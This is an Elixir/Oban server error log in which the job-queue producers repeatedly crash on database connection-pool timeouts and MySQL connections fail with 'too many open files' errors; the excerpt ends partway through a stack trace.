State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:04:29.239651Z], limit: 5, uuid: "73329632-fc66-42a4-a78b-29d680ceb003", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:29.239657Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.155888>, refresh_timer: #Reference<0.2525715032.1077673987.20574>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:41.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:04:29.240238Z], limit: 20, uuid: "c342047c-0edd-44f6-9f12-6b370bc92052", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:29.240244Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.155887>, refresh_timer: #Reference<0.2525715032.1099431938.43503>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:04:29.240980Z], limit: 10, uuid: "06160aac-6714-4555-a8ff-735bad212320", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:29.240989Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.155885>, refresh_timer: #Reference<0.2525715032.1121189889.155856>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:04:29.244075Z], limit: 3, uuid: "b2304915-1299-4f91-925c-939d4d790efb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:29.244081Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.155886>, refresh_timer: #Reference<0.2525715032.1121189889.155882>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:46.477000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:46.584000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:48.412000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:49.346000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:50.548000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:51.292000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:51.655000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:52.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:52.800000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:04:41.240527Z], limit: 10, uuid: "184c1f83-ed0f-48b8-94b5-db31df3d7952", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:41.240533Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43852>, refresh_timer: #Reference<0.2525715032.1121189889.156148>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:04:41.239019Z], limit: 5, uuid: "2a3bd130-6fa4-4993-8737-2a6720633fe0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:41.239025Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43850>, refresh_timer: #Reference<0.2525715032.1068498948.45001>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:04:41.239341Z], limit: 5, uuid: "d99ce8f1-e4a7-40e9-a865-47fcc5a8be88", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:41.239347Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43848>, refresh_timer: #Reference<0.2525715032.1099431938.43816>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:04:41.239284Z], limit: 20, uuid: "01caf010-5e4e-4218-ade1-6a6c96207f0e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:41.239289Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43847>, refresh_timer: #Reference<0.2525715032.1099431938.43817>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:04:41.241025Z], limit: 3, uuid: "47fa0d29-0a3d-43e0-9aa8-247ca8836b81", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:41.241030Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43851>, refresh_timer: #Reference<0.2525715032.1068498948.45016>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
